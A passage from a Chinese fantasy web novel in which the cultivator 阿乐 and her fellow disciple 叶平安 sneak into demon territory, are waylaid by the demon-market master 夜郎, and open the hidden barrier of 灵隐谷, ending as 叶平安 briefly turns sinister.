阿乐在大殿门口来回踱步,思来想去才下定决心,“那我就等他们走了再去问师尊。”
亥时的钟声已经响过了,大殿的门还是没有打开。
阿乐原地盘腿坐下,强撑着又等了一个时辰,大殿的门还是毫无动静。
“好困啊——”阿乐眼皮合上后再也没能睁开。
这几日妖魔族老是搞夜袭,她都没能好好休息过。回到清灵山本就全身心都放松了下来,现在夜已深,困意袭来根本抗拒不了。
看阿乐睡沉了,叶敬亭才现身出来。
熟练的抱起阿乐,往住所走去。
阿乐抱着叶敬亭蹭了蹭,嘀嘀咕咕道:“师兄——我不是故意不理你的——”
叶敬亭低头浅笑,把她又往里拢了拢。
“师兄——我怕连累你——”阿乐声音有些哽咽。
“——我也没有办法——”阿乐嘀嘀咕咕说了很多话,说着说着既轻轻啜泣起来。
叶敬亭停下脚步,皱眉看着怀里的女子。
随即颔首垂眸,低头轻啄了下眼前饱满的唇瓣,在她耳边低声道:“我知道,睡吧。”
阿乐搂紧叶敬亭,用头找了个舒服的角度,便又睡了过去。
45. 偶遇
卯时刚过,阿乐已经走在去清灵殿的路上。
她心中现在的第一等大事便是找到“灵隐谷”在哪。
阿乐哼着小曲走在路上,昨晚睡得极好,把这几日的疲惫都一扫而光。
“昨天我是怎么回去的?”阿乐心中刚划过一丝疑虑,注意力便被林子里的吵闹声吸引过去。
“你声音小点——”紧接着一阵“窸窸窣窣”走动的声音。
阿乐敛起气息,循声而去。
前方一片安静,阿乐停下脚步也不敢乱动,从花草间瞥到两个穿着白袍的男子,正在说话。
“你到底听清楚没有啊?”
“听到了,说的就是灵隐谷。”
两人又耳语了一阵,阿乐恨不得跑过去趴在两人中间听个清楚。
“哈?怎么可能会在那种地方?”
“千真万确,就是在无间地界旁边的那个荒原,要神族的人才能打开结界。”
“嘘——这话可不敢乱说,小心大师兄知道罚你!”
“走走走,大师兄还等着呢。”
阿乐躲在远处不敢动,直到脚步声走远了冒出半个头又确认了一遍没有人才走出去。
“原来在妖魔族那边。”阿乐开心的拍拍手,本来还怕师尊不愿意说,现在倒好了,得来全不费工夫。
只要知道在哪里,那就好办得多了。
事不宜迟,立马下山。
“可——那么久都没与师兄说上话了——”阿乐在原地踟躇,“他现在应该正在忙吧!”
“可明明是自己先闹别扭的——”阿乐又折返回去,走到一半又停下。
“罢了,罢了,干脆把事情办完再一起说好了。”
纠结了一会,还是决定先去找灵隐谷吧。现在他们在明,白衣人在暗,好不容易消停的天雷,说不准会在什么时候再来一次。
飞身到清灵山脚下,“雪落”悬停在脚旁,正准备跨上忽然听到有人喊自己的名字,阿乐身形一怔,“师兄?”
“阿乐,你要去哪里?”叶平安挥着手。
阿乐见是叶平安,扯着嘴回道:“是你啊——”
“你是不是在想着谁呢?敬亭师兄?”叶平安一脸坏笑。
阿乐锤了他一下,继续道:“伤好了就皮了?”说完便自觉有些不妥,可话都说出口了,手在空中一怔,假装无事发生。
“我知道你要去安顿那些混血者,我跟你一起。”叶平安沉下眼眸,表情严肃。
阿乐本想相劝几句,想到那地方也比较危险,若能多一人帮忙,那也不错。
“好。”说罢两人便御剑而去。
一路上,阿乐把前几天发生的事情与叶平安说了。
回到徐娘等人藏身的地方,是一个山洞。阿乐走之前在洞口设置了结界,只有特定口令才能打开。
山洞里空无一人,叶平安有些担心道:“不会有人来过吧?”
阿乐摆摆手,让他放心。
“徐娘——阿珍——”阿乐对着洞内喊了两遍。
“阿乐姐姐,你回来啦!”阿珍第一个跑出来迎接阿乐。
阿乐蹲下一把抱起这个小团子,“想我了吗?”
阿珍点点头,看到叶平安,眨眨眼,趴在阿乐耳旁道:“这个哥哥是谁呀?”
“是平安哥哥!”
“阿珍你好,我叫叶平安!”叶平安弯下腰与阿珍打招呼。
阿珍笑嘻嘻的拍拍他手。
徐娘听到动静走了出来,看到是阿乐便放下心来。
一遍数落着阿珍乱跑,一边与叶平安熟络起来。
“你们要去无间地界啊?”徐娘有些担心,那些妖魔族数量庞大,担心就两人应付不过来。
阿乐宽慰她:“徐娘,我们是悄悄去,只要找到入口便回来接你们。放心,妖魔族我有认识的人会帮我们的。”
徐娘知道阿乐已下定决心,多说无意,只好嘱咐两人注意安全。
“这里有我照顾着呢,我们在洞外种了些蔬菜,这里也时不时有飞禽跑来。现在不用出结界也能吃得饱。你们就放心去吧。”
“阿乐姐姐,平安哥哥,阿珍等你们回来。”阿珍揉揉眼睛,眼眶红红的朝两人挥着手。
阿乐捧在阿珍肉嘟嘟的脸亲了一口。
两人走出洞外,小心结起结界。
“你认识妖魔族的人?”叶平安好奇道。
阿乐点点头。
“敬亭师兄知道你在这里吗?”叶平安道。
阿乐摇摇头。
叶平安还想问些什么,顿了顿还是没有说出口。
“我们只要找到灵隐谷,就回来。不会与他们起冲突的。”阿乐道。
“可——真的不用与师兄说下吗?”叶平安试探问道。
阿乐停下脚步,想了想道:“若是与敬——师兄们一起去,妖魔族的人看到他们几位上神都来了,万一引起不必要麻烦呢?”
“哦——原来是这样啊!”叶平安故意拉长声音阴阳怪气。
“算了,你还小,很多事情你不明白——”阿乐道。
“哦——是是是,我是还小,也不懂你们在闹什么别扭!”叶平安双手放在脑袋上一脸惬意,感受到身旁有“杀气”袭来,一溜烟跑了。
无间地界。
为了掩“妖魔”耳目,两人办成他们的样子。
阿乐低头看了看自己露着的半截腰,用手拉着上衣,试图再往下拉一拉,“这妖魔族的女妖魔穿的还挺——还挺性感!”
叶平安拍拍自己的大肚腩,回道:“他们这么大肚腩到底每天吃些什么啊!”
两人互相嘲笑了一番便混入其中往无间地界赶去。
看来他们扮相不错,这一路走来的妖魔都没有看出任何异常。
甚至可以说扮相太好,有一个妖魔族男子一直跟着他俩。
“平安,那人跟了我们一路了。”阿乐道。
叶平安刚要转头,被阿乐板回,“不要转头,太明显了。”
“我瞪他一眼,让他知道咱俩是一对,就不敢对你怎么样了!”叶平安道。
“那行,但你别太过啊,不要惹麻烦。”阿乐道。
叶平安点点头,随即转过身。
“没有人啊!”叶平安左右环视一圈,除了赶路的妖魔,没人跟着他们啊。
阿乐诧异道:“不可能,明明就——”随即转身也环视一圈,还真是没有。
“可我明明就有看到啊,难道是我太紧张误会了?”阿乐自言自语。
“别纠结了,我们还是快走吧。天黑前要找到住的地方。”叶平安道。
天色渐暗,也不能御剑飞行,只能加快脚步。
一个时辰未到,天色便完全黑了下来。
两人越走越觉得不对劲。
“阿乐,我们是不是走错路了。怎么这条路一个妖魔都没有?”叶平安道。
阿乐看看四周一丝灯火都没有,掌心中冒出一簇灵火,“好像刚才那个岔路口是走错了。”
“那怎么办?”叶平安
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道。
“我先看看。”祭出“雪落”悬停在半空,准备去空中看下方位。
“这会不会引起注意?”叶平安有些担心道。
“那这荒郊野岭,我们这晚上在哪睡?”阿乐道。
“好——好吧,那你小心些。”叶平安道。
阿乐拍拍他示意放心。
“啊哟,这路到底是要怎么走啊!”黑暗中冒出一个声音,吓得阿乐一跳,慌忙收起“雪落”。
叶平安挡在阿乐前面,两人站在原地不敢说话。
“你们俩也是要去‘幽冥镇’吗?”
那人走近,阿乐才看清是个老者,满头的银发在黑夜中尤其显眼。
“大伯,我们是要去幽冥镇,有段时间没来,走错路了。”阿乐挽着叶平安的手,假装是一对夫妻。
“哈哈哈哈哈哈——”老伯突然大笑起来,那笑声可不像一个老人。
“阿乐小心。”叶平安顾不上什么妖魔族身份,祭出剑横在面前。
阿乐握紧“雪落”,两人一副妖魔族扮相,手里却拿着仙剑煞有介事的比着招式,那模样就好像两只□□装成仙女,实在是有些格格不入。
老伯突然变成一个年轻男子,眨眼间已落在阿乐身旁,手环上她腰,“这位小姐,不知可否赏脸吃个宵夜呀!”
阿乐腰间一紧,气血冲上头,“什么轻浮登徒子,既然敢动手动脚——”随即一顿乱拳打去。
只见男子抱着头求饶:“阿乐,是我!是我!别打了!”
邴哲的声音传来,阿乐身形一僵,而后才反应过来。
“是你啊!不早说——”阿乐放下手,拦住刚要砍过去的叶平安。
“你认识?”叶平安诧异道。
邴哲抬起头,对着叶平安打了个招呼:“不记得我了?”
叶平安眉间抽动了一下,指了指他鼻子:“流血了。”
邴哲抬手擦了擦,若无其事道:“你们俩来这干嘛?再往前走就是无间地界了!”
叶平安没有回答,反而侧首对着阿乐道:“你说的妖魔族熟人就是他?”
阿乐点点头想要解释一下:“其实他帮过我很多次,也没——”
话没说完被叶平安眼神瞪回,他转过身面向另一边。
“喂!有人能听我说一下吗?这里是无间地界!”邴哲无奈道。
“我们就是来无间地界,走错路了!”阿乐道。
“我是说,你们扮成这样,来妖魔族地界做什么?别跟我说来玩!还是来抓人?”邴哲道。
“都不是,我们来找——一个地方。”阿乐道。
“什么地方?”邴哲道。
“啊哟,你别管,你现在先帮我们找个地方休息。”阿乐道。
黑暗中也看不到邴哲表情,半晌开口道:“那你们收起身上那些仙剑、仙气,跟我走。”
叶平安虽然不情不愿,可在这个档口,也只能跟着走。
幽冥镇。
“名字取得幽森恐怖,这看上去不就是普通小镇?”阿乐道。
这灯火通明的样子,确实与人族的村庄小镇无二般区别。
邴哲别有深意的笑了笑,道:“变回原样吧,然后把这个戴上。”说罢递过两个面具。
阿乐接过,是个猫咪面具,脑海里有记忆冒出来,看叶平安无动于衷,用手肘戳戳他:“先保命要紧。”
叶平安才好好戴上面具。
果然,走进小镇,穿过一段迷雾,眼前与外面看到的完全不一样。
46. 再闯妖市
阿乐越看越有些眼熟,这路上行人都带着各色面具,直到有一个黑影从身旁走过,她才确定:“妖市?”
邴哲听到声音回头道:“你知道这地方?”
阿乐想起那次不是那么愉快的经历,点点头,心道:“何止是见过,差点成为那个新娘。”
“妖市的主人也不常在,只要我们‘安分守己’,不会有人找我们麻烦的。”邴哲道。
阿乐苦笑,她可真希望这次不要再遇到那个什么夜郎了。
妖市还是人来人往,那么热闹。
又路过上次卖“大骨汤”的老板,依然在剁着他现煮现卖的大骨,阿乐打了个寒颤往叶平安旁边靠了靠。
“怎么了?”叶平安关心道。
阿乐连忙摆摆手,那种事情她不愿意再复述一遍。
三人在妖市上逛了一阵,路上没有再遇到奇怪的黑影,也没有遇到任何奇怪的人,阿乐慢慢放下心来,“都过那么久了,这妖市每天那么多事,恐怕早忙忘了。”
阿乐才开始享受起来,开始一路上吃吃喝喝。还好邴哲在,自己出门不太有带钱的习惯。
叶平安把最后一串烤肉递给阿乐,压低声音道:“我说,差不多找客栈了吧,别忘了我们正事。”
阿乐吃完最后一口,擦擦嘴点点头,“这妖市好吃的东西太多了。你放心,记着呢。”
“邴哲,我们晚上要住在这里吗?”阿乐道。
邴哲摇摇头,“住在这里,第二天尸体都不知道泡在哪锅汤里!我们穿过妖市后面就有几家客栈。”
“那要怎么穿过?一直走?”阿乐道。
“你吃饱了吗?不再逛逛了?”邴哲道。
阿乐摆摆手,还是不了吧,夜长梦多,还是赶快离开比较妥当。
“好,你们跟紧我。”邴哲说完,便拐进一个小巷里。
阿乐拉过叶平安紧随其后。
说是小巷,不如说是一条窄巷,仅仅只能通过一人。
阿乐走都有点吃力,她看到邴哲是吸着气横着走的,平安比邴哲瘦一些,但估计也够呛。
三人紧贴着墙壁走了好一阵,才慢慢开阔起来。
“邴哲,你确定我们没走错路吗?”阿乐道。
“这是近道,穿过去就能走出妖市了。”邴哲声音从前方传来。
“平安,你还跟着吗?”阿乐道。
“别说话,快走。”叶平安道。
终于,走出小巷,三人摘下面具弯腰大口吸着空气。
看到宽阔的大道,没有了那些摊贩真是清净不少。
阿乐走上前拍了拍邴哲,赞许道:“左使就是厉害,这种小路也能找到。”
叶平安冷哼了一声撇过头去,今天要不是阿乐在,还需要邴哲带路,他早就拔剑相向了。
邴哲没有理会阿乐,望着空荡的大街,来回看了好几遍,自言自语道:“不对,不对。”
“什么不对?”阿乐道。
“这不是幽冥镇的街道。”邴哲道。
阿乐左右看了看,清冷的街道空无一人,透着一股无法言喻的诡异。
“难道我们还在妖市?”阿乐道。
身后传来几声轻笑,听起来像是那种极力憋住却憋不住的声音。
“谁?”三人同时转身。
四个冒着鬼火的骷髅抬着一柄大轿,轿子四角挂着铃铛、四面飘着轻纱,正面的轻纱被撩起一角,刚好露出坐在轿子里的人。
轿旁站满一排穿着喜服的人,塔拉着手站在原地。
笑声就是上次见到的那个形似一个老者的大鬼发出的,他看到三人转过身,干脆也不憋了,已然笑倒在地。
阿乐怔在原地,瞪着坐在轿子里的人。
那人探出极具魅惑半张脸,血色的眸子里堆满笑意:“小猫,你的狐狸呢?”
阿乐祭出“雪落”挡在面前,想用大声掩盖忐忑:“你又想干吗?上次不是说清楚了嘛,我不是你要找的人。”
叶平安随即也拔出剑站在阿乐身旁,警惕着眼前这群人。
邴哲看着这副架势,恐怕在这妖市里只有主人才能有这样的排场吧。
连忙上前道:“您是妖市的主人吧,我们就是路过,这中间只怕是有误会。”
夜郎目不斜视看着阿乐,修长的指节饶有兴趣的轻敲下巴,顿了顿道:“不想他们死就快上来。”
叶平安听到这话,额头青筋冒起,大喝一声,往轿子冲来,都没看清发生什么,眨眼间已被一股力掀翻到空中。
“啪”一声摔在地上,灰尘四起。
邴哲连忙上前查看,阿乐着急道:“平安,你没事吧!”
叶平安抬起头,还好除了鼻子流血,其他没伤到。
夜郎还是手下留情了。
邴哲、阿乐两人一人一边扶起叶平安,在查看伤势的空挡,邴哲压低声音道:“听我口令——”
乘大家都没注意,“嗖嗖”一排短剑往轿子射去。
“跑!”邴哲一声令下。
三人立即飞身而起,跟着邴哲飞去。
过了一阵,身后没有动静,阿乐心道:“难道就这样甩开他们了?”
须臾间,便撞到头,还没来记得反应,耳边便响起夜郎的声音:“小猫,你真不在乎他们的死活是吗?”
再抬起头,大鬼一手拎着邴哲,一手领着叶平安举过头,随时准备砸下去。
这个大鬼阿乐是领教过的,这样砸下去,只怕要变成两团肉饼。
“别别别,我去我去。”阿乐道。
四只骷髅抬着轿子前来,夜郎拉着阿乐上了轿子。
“阿乐——别跟他去。”邴哲喊道。
“你们在这等我!”阿乐摆摆手端坐好,心里一阵纠结:“要不要求救?可——这是无间地界,他们要真是来了,只怕又要引起麻烦,算了,再看看。”
夜郎眯着眼看着眼前的女子,笑道:“怎么?想跟那只狐狸求救?”
阿乐心中一惊,摇摇头。看着轿子外快速移动的街景,道:“我们要去哪儿?”
“你不是在找住处吗?带你去休息啊!”夜郎道。
“休——休息?”阿乐不自觉捂紧胸口,结巴道:“我——我说过——我不是你的新娘。”
“哈哈哈哈哈”夜郎笑得东歪西倒,忽然凑近捏起阿乐的下巴道:“可惜了,你那狐狸师兄好像比我更喜欢你。”
阿乐抱着胸口还是不撒手,皱着眉看着夜郎。
“哈哈,你说吧,这次来我妖市干嘛?”夜郎身体微微往后,用双手撑住,收敛了一些目光。
阿乐看他离自己远了一些,才稍微放松了一些,蜷缩起双腿,道:“就是路过嘛。”
“路过?你一个神族混血者,路过这里去无间地界?”夜郎一副“我看上去像傻子吗?”的表情。
阿乐摇摇头,“我不去无间地界。我只是去那附近
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。”
“你要找什么?或许我可以帮上忙。”夜郎道。
阿乐第一次看到夜郎这个认真的样子,还有些不习惯。暂且相信他只是想带自己找住处吧。
轿子外传来几句咒骂声,紧接着传来大鬼的声音:“主人,那两人不好对付,他们——他们咬我手!”
阿乐想象到那大鬼满脸褶皱委屈的样子,不禁笑了起来。
“你还不快安抚下他们,不然被不小心捏爆了我可管不着。”夜郎道。
阿乐想起上次那大鬼在妖市一手轻松捏爆一颗人头,吞了下口水,伸出头喊道:“我没事,你们先别乱动!”
外面这才消停下来,看来是收到阿乐的信息了。
轿子内又恢复了安静。这次阿乐自在了一些。
她第一次发现这轿子虽然看着不大,但其实坐在里面空间很大,两人坐着都不嫌挤,而且稳稳当当丝毫没有摇晃。
“喜欢吗?”夜郎嘴角噙笑。
阿乐点点头,这样出门就不怕风吹雨淋了。
夜郎轻笑,半晌问道:“你狐狸师兄呢,怎么没跟你一起?你们吵架了?”
阿乐扯着嘴角笑了下,垂下眼道:“没有,他有其他事要忙。”
夜郎点点头,没有再追问。
这时,轿子停下了。
骷髅头道:“主人到了。”
夜郎掀起纱幔,伸出头看了看,转头对阿乐道:“你们晚上就在这休息吧。”
阿乐不可置信,他真是带自己找休息的地方啊,看来真是误会了。
伸出头,瞬间被眼前的看到的景色惊呆了。
“这精致的院子给我们休息?”阿乐道。
这小院一看就造价不菲,每块砖都透露着值钱的气息,再加上这造景,真的不需要钱就可以住吗?
“放心住吧,明早会有人来接你们出去。”夜郎朝着阿乐眨眨眼。
阿乐点点头,准备下轿子。
没想到这轿子还挺高,一脚踩空往下倒去。
“小心!”夜郎抓住阿乐一只手,示意骷髅头蹲下,阿乐这才踩到底。
忽然手上传来一点痛感,就像被针扎了一下,阿乐皱起眉,“啧”。
夜郎这才放开手道:“不好意思,弄疼你了。”
痛感转瞬即逝,看着夜郎一脸真诚,怀疑是不是自己的错觉,兴许只是被抓疼了。
阿乐摆摆手,这时,邴哲搀扶着叶平安一瘸一拐走来。
“那就谢谢你了,夜——夜郎!”阿乐道。
“屋子里缺什么就跟青儿说,不用跟我客气。”说罢便坐着轿子走了。
阿乐站在原地,怔怔看着远去的鬼火骷髅,脑子还有些发懵。
“阿乐——你到底怎么认识他的?”邴哲道。
叶平安才是想问,这一趟出门,他才是长见识了。
“说来话长,不说也罢。”阿乐扶过叶平安,叶平安一把推开邴哲。
“嘿——你这人没良心!”邴哲道。
“良心?你跟我说良心!等我好了,我们单打!”叶平安道。
阿乐扶额,以后绝对不能让这两人再碰面。
小院里应有尽有,连跌打膏青儿也准备好了。
阿乐趴在窗前,看着明月,心道:“师兄要是在就好了。”随即又甩甩头,“快点找到灵隐谷就能回去了。”
大概也是白天走累了吧,这一晚,阿乐睡得很沉。
47. 灵隐谷
夜郎没有食言,第二天果然派那四个冒着鬼火的骷髅头抬着轿子来接着阿乐出去了。
当然骷髅头不给邴哲、叶平安上轿,他们只好御剑跟着。
叶平安修整了一夜,恢复的也差不多了。说到底还是人家夜郎的跌打膏有强效。
这又是提供住宿,又是送药膏的,所以没能上轿两人也没多说什么。
三人看着远去的骷髅头,阿乐还是觉得有些不可思议。
毕竟那是妖市的主人,上次见面还拔刀相见,这次居然那么友好。
“阿乐,你不会还认识人族皇帝吧?”叶平安道。
阿乐摆摆手,“不认识。”
“龙族的族长你认识吗?”叶平安道。
阿乐愣了一下,这倒是确实没见过,但是那也算得上是她爷爷,“啊哟,我就是无意中认识的夜郎,你们不要乱猜好不好。”
“好亲切啊,还夜郎!”邴哲揶揄道。
“你是不是嫉妒阿乐啊?”叶平安道。
“我堂堂左使,有什么可嫉妒的!”邴哲回道。
阿乐扶额,“别吵了,快到无间地界了。”
阿乐、叶平安跟着邴哲,假扮成他的下属,带着黑色面纱倒比那身妖魔装扮好很多。
邴哲不愧是妖魔族左使,两人跟着也觉得威风很多,大家看到他们都是毕恭毕敬主动让路。
“邴哲,你这左使好威风啊!”阿乐低声道。
邴哲摆摆手,叹气道:“还有你看不到的苦。”
叶平安“哼”了一声,“装模作样。”
阿乐用手肘顶了他一下,瞪了一眼,用口型说道:“这里是妖魔族,你好好说话。”
叶平安虽然闭上嘴,头还是不服气的扭到一边。
远处有一队黑衣人见到邴哲,疾步走来,好似有什么重要的事情要禀告。
“你们一会不要说话。”邴哲特意交待。
看来这队黑衣人不好对付。
阿乐用余光看去,为首的是名女子,再走近些才确定,还真是妖魔族的右使。
上次在魔窟领教过,脾气可不怎么好。
感觉到不善的目光投来,阿乐垂下眼,避免任何形式的对视。
“哟——左使,昨晚夜不归宿,是沉迷在哪个美娇娘的被窝里了?”右使话里有话,说罢还不经意间瞟了一眼阿乐。
“右使,今日不去训练训练那群新兵,不怕下次连指令都听不懂吗?”邴哲不甘示弱回道。
“你——”右使一时语塞,抬起手又放下,只好作罢。
“昨晚魔尊四处找你侍寝,你自己好自为之吧。”几乎是咬着牙说出的这句话,说罢便带着黑衣人离去了。
阿乐捏着手不知道说些什么,原来他说的“苦”包含那么多信息。
叶平安却一点不藏,眼眸中溢出来的蔑视,阿乐真怕他说出什么不得体的话。
半晌,三人中无人说话,邴哲走在最前,两人默默跟在身后。
又走了一段路,邴哲在妖魔族大门处停住脚步,再往前就进入无间地界了。
邴哲环视四周,没有可疑的人,这才转身对阿乐道:“我要先回去处理一些事,你们要找的地方就在这附近。”
随即从腰间解下一个令牌递给阿乐,“若是遇到妖魔族的人纠缠,直接亮出令牌即可。”
令牌上写着一个大大的“妖”字,最下刻着“左使”两个小字。
“这给我们了,你怎么办?”阿乐道。
邴哲把令牌塞给阿乐,“我的身份不是只靠这个牌子。”
“对对对,还靠侍——疼疼疼——”叶平安话还未说完,阿乐狠狠锤在他背上。
邴哲沉着脸飞身而去。
“你打我干嘛?我又没说错!”叶平安委屈道。
阿乐翻了个白眼,径直绕过大门往山上走去。
叶平安一路嘀嘀咕咕,从夜郎说到邴哲,最后又绕到叶敬亭,“我就说吧,还是敬亭师兄最好!修为高,人品好,又专一,长得可比他们俩俊多了,阿乐,你可别错过了后悔啊——”
“什么就要错过了?”阿乐一路都没说话,听到这句话可真忍不了。
“那日你把我丢给师弟们又不知跑哪里去。敬亭师兄只看到我一人回去,担心不已,我第一次在他脸上看到那么沉重的表情——”叶平安自顾自说道,完全没注意到阿乐脸色变得铁青。
从下山开始她就在后悔,好歹去道声平安也好,现在这个时候要再发密信,那万一他真来了,那事情不是闹大了嘛。
可是他也没有发密信给自己啊——莫不是还在生气?阿乐用力甩甩头,想把这些纠结成一团的想法甩出去。
“现在当务之急是找到‘灵隐谷’,就能回去了!”阿乐道。
叶平安点点头,比起其他任何,这件事是现在最重要的。
这座山两人寻了个遍,一点头绪都没有。
凡是隐蔽的山洞、可疑的裂缝都去探查过,并没有发现什么结界。倒是发现很多一堆堆的碳火,四周散落着不少食物残渣。看来这妖魔族的属下没少来这偷懒。
“灵隐谷听上去就应该是一个‘谷’。”叶平安自言自语道。
阿乐听着他碎碎念,心里也觉得奇怪,这个灵隐谷入口要真是在这里,难道不会更危险?被妖魔族的人抓到是要直接炼成“魔丸”的。
“我们去山顶。”阿乐灵机一动,拍拍叶平安道。
“山顶不是都看过了?”叶平安回过神,疑惑道。
“你先跟我上去,就知道了。”阿乐道。
叶平安也没再多问,跟着阿乐往山顶走去。
这山也不大,不一会便爬到了山顶。看着夕阳挂在山尖,彩霞飘满天空,阿乐想起叶敬亭突然出现的那一晚,彩霞也是这般好看。
“阿乐?阿乐——”叶平安在她耳边喊道。
阿乐思绪瞬间被拉回现在,“啊哟,听到了,不要吵了。”
“快,你说来山顶干嘛?”叶平安道。
你在下面等我,要是有什么动静立马喊我。
说罢便祭出“雪落”御剑而上。在这个地方御剑很危险,万一被哪个眼尖的妖魔看到,那岂不麻烦。
叶平安才发觉阿乐竟然是要做那么危险的事,立马警惕起来。
半晌,阿乐终于落下了。
可能是天暗了下来,这一趟飞的有惊无险。
“看到了什么?”叶平安道。
“东南面下去,有一块地方与四周略微有些不同,我们去看看。”阿乐道。
这可算得上是重大发现,很有可能是结界的痕迹。
事不迟疑,两人往东南面飞身而去。
估摸着快走到异常的地方,阿乐感到有些不适,体内某股能量正在跃跃欲试。
她捂着胸口蹲在原地,额头渗出密密一层汗珠。
“怎么了?”叶平安蹲下查看,发现她全身滚烫。
“体内好像有什么东西要蹿出来了——”阿乐艰难回道。<
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p>叶平安惊道:“不会是——浮生烬吧?”
阿乐想起在藏书阁听到某个声音的那晚,体内也是这样躁动不安,经脉好似被火烧着一般难受。
“扶我——扶我坐下。”阿乐艰难得挤出几个字。
待叶平安扶她坐好,又在周围拉起结界,才觉得安心。
“我现在需要做什么?”叶平安低声道。
阿乐胸口一闷,口中一甜,吐出一口血,才稍微觉得舒服了一些。
“呆在这里不要动。”阿乐说完,盘腿而坐,吐纳气息。
叶敬亭叮嘱她学的那些口诀功法,这时候可都是救命的法宝。
脑海中又飘过“他以后会找一个神族女子结婚、育子。而你,只能在某一天‘浮生烬’爆发,而后孤独的死去。”
阿乐咬紧牙道:“我不会让浮生烬爆发的,也不会孤独的死去。”
“你说什么?”叶平安道。
只见阿乐紧闭双眼,感受到有一股灵力在体内周转了几圈,体温降了不少。
又看到了在藏书阁里,叶敬亭拿着一本书讲解着口诀功法认真的侧脸,那时候让自己昏昏欲睡、晦涩难懂的口诀,现在犹如一道河流寂静无声的漫过那些要烧着的经脉,那股能量逐渐稳定下来。
阿乐渐入佳境,自己已完全融入了这片树林,听到了山川的呼吸,风的声音。
阿乐觉得不可思议,这是她第一次感受到这功法口诀竟有如此奇效。
猛然睁开眼,已经天亮了。却没有看到叶平安的身影。
糟糕,不会出什么事了吧?阿乐急忙探查了一遍结界,却是完好无损,四周也没有灵力打斗过的迹象。
“叶平安——叶平安!”阿乐焦急的喊道。
山里回荡着她孤零零的声音。
她准备下山去找找,这么个大活人总不能无缘无故不见了吧。
阿乐凭着回忆往山下走去,走着走着发现这条路自己没有走过。难道是因为昨晚夜黑记错了?
又回到原点,凭着脑海里的记忆,闭上眼睛重新走了一次。
“阿乐,阿乐——你要去哪里?”叶平安的声音迎面而来。
阿乐睁开眼,果然是叶平安。
“你去哪里啦?”阿乐欣喜道,终于放下心来。
“我去找吃的啊!”叶平安递过一个地瓜,然后拉过阿乐指着昨天看到异常的那个方位道:“刚才经过那边,我发现有一个入口。”
阿乐咬了一口地瓜,清甜可口,很是清爽。
“那去看看——”阿乐道。
循着方位走去,一个大树引起了两人注意。这棵树一半是绿荫,一半却是光秃秃的枝丫。
“这明显就是结界入口。”阿乐道。
叶平安点点头:“可是要怎么进去呢?”
两人围住大树左右端详,阿乐想起那两人说的:“需要神族的人才能打开。”
为什么是神族的人呢?莫非是以血为引?
那现在叶平安再合适不过了。
不等叶平安反应,“雪落”已在他手掌处切开一条小口,几滴血液落在地上。
叶平安一阵痛感,捂着手瞪着眼道:“你在干嘛?”
“借你血一用。”阿乐说罢,手指捏诀,一道灵力从指尖升起,一阵“轰隆隆”声响,大树中间出现一道石门。
阿乐在石门上摸索一阵,按到一处凹槽,使劲一拧,石门缓缓开了一道口子。
“叶平安,走!”阿乐率先走了进去。
48. 石门后
这石门后面,居然跟无间地界那座山一模一样。
阿乐愕然,“这——怎么分得清哪边是结界里哪边是结界外呢?”
叶平安也懵了,弯腰扯了片树叶放嘴里嚼了嚼,“是真树叶啊!”
“山脚下会不会也有一个妖魔族?”阿乐道。
叶平安边摇头边道,“不知道。”
两人对视一眼,默契的向山下走去,
“等等。”阿乐叫住叶平安。
掌心升起一簇灵火,小心埋在石门底下。
“好啦。”阿乐拍拍手手,这地方诡异得很,万一里面的世界真的跟外面的一模一样,那找不到出口岂不是一辈子待在里面。
“阿乐,你确定这是我们要找的地方吗?”叶平安越想越觉得奇怪,“师尊是想让混血者永远出不去?”
阿乐蹙着眉,她也没想明白师尊到底是何用意。
“先去看看再说。”阿乐道。
沿着记忆里的路线顺着走到山脚,叶平安一路惊叹,真的是一模一样,连他们与邴哲分开的地方都是一样的。
来到当时分别的地方,大路排布以及方位都分毫无差。
“没有妖魔族。”阿乐道。
这里光秃秃的就一片荒地,没有刻着“妖魔族”的牌匾,也没有任何石碑。
“还好,只是地貌一样,不然就麻烦了。”叶平安笑道,这里既然没有妖魔族,没有其他族人,那可就真是一个世外桃源啦!
两人从担心到逐笑开颜,前后不过一个时辰。
阿乐在这片荒地上飞来飞去兴奋不已。
“我们可以从这边到——”再飞去另一边继续道:“到这里,盖个大院子,全部人都住在这里面。”
“全部人住在一起?不行,万一有的喜欢安静,有的是夫妻。全住在一起那得天天吵架。”叶平安不赞同。
阿乐想了想,又道:“那就大家房子盖成一排,紧挨着,这样有事也可以互相帮助,又不会太打扰对方。”
叶平安点点头,“这个法子好。”
“那在这里我要盖一个修炼场,就像清灵山那个一样。我可以回来教小朋友修炼!”叶平安指着一片荒地道。
“好好好,那这边种庄稼吧!这里草地肥沃,可以养些鸡鸭牛羊什么的——”阿乐道。
两人你一言,我一语,把这里全部规划得满满当当,似乎这场景已经在眼前了。
灯火通明的街道,白天忙种庄稼、放牧,晚上聚在一起吃饭。在这里小朋友再也不怕被抓走,也没有人会拆散他们。
阿乐看着眼前的美好日子,开始有了憧憬!就是不知道师兄愿不愿意一起来这里生活。
“阿乐,你对着这颗树傻笑啥?”叶平安手掌在她面前晃了晃,这才回过神。
“好事儿!我们先去把徐娘阿珍他们接过来吧!”阿乐道。
待一切处理好,就可以回清灵山找师兄了,这次一定要好好跟他说道说道自己这段时间做了多少事。
以后也可以和阿爹阿娘在这里生活了。
天渐渐暗下来,两人飞身至山顶,顺利找到石门。
叶平安先从石门出去了,过了一阵,没等到阿乐。
“阿乐!干嘛呢?快走啊!”叶平安冲石门里喊道。
“我灵火不见了!”阿乐道。
“什么灵火?”叶平安探出头道,只见阿乐蹲在地上四处翻找。
“就是方才我埋在这里的那簇‘灵火’。”阿乐道。
“别管那个了,我们快回去接徐娘她们啊!”叶平安说着便来拉阿乐。
“可是——我明明埋在这里的。”阿乐道。
“走啦,不要管这个了。”叶平安大力拉起阿乐往石门外走去。
“可是——可是——”阿乐感到叶平安力气奇大,她手腕被牢牢抓住动弹不得,整个人只能被拉着往前走。
“平安,平安!你慢点,你弄疼我了!”阿乐喊道。
叶平安好似听不到一般,只顾着往前走,隐约能听到几句话“以后便可以住在这里了。”断断续续听到一些很刺耳的笑声。
“叶平安!”阿乐奋力一甩,只听到骨头“咯噔”一声,叶平安吃痛才放开手。
“你——干嘛?”叶平安回过头。眼睛瞪圆好似两颗大石头,眼底布满血丝,表情狰狞。
“叶平安?你脸怎么了?”阿乐惊恐得指着他。
“我?我怎么了?”须臾间,叶平安又变成平时的样子。
“你刚才,变得很恐怖。”阿乐看着恢复正常的叶平安,她有那么一瞬间怀疑自己是不是看错了。
“我可能有点太着急了,弄疼你了吗?”叶平安一脸歉疚看着阿乐。
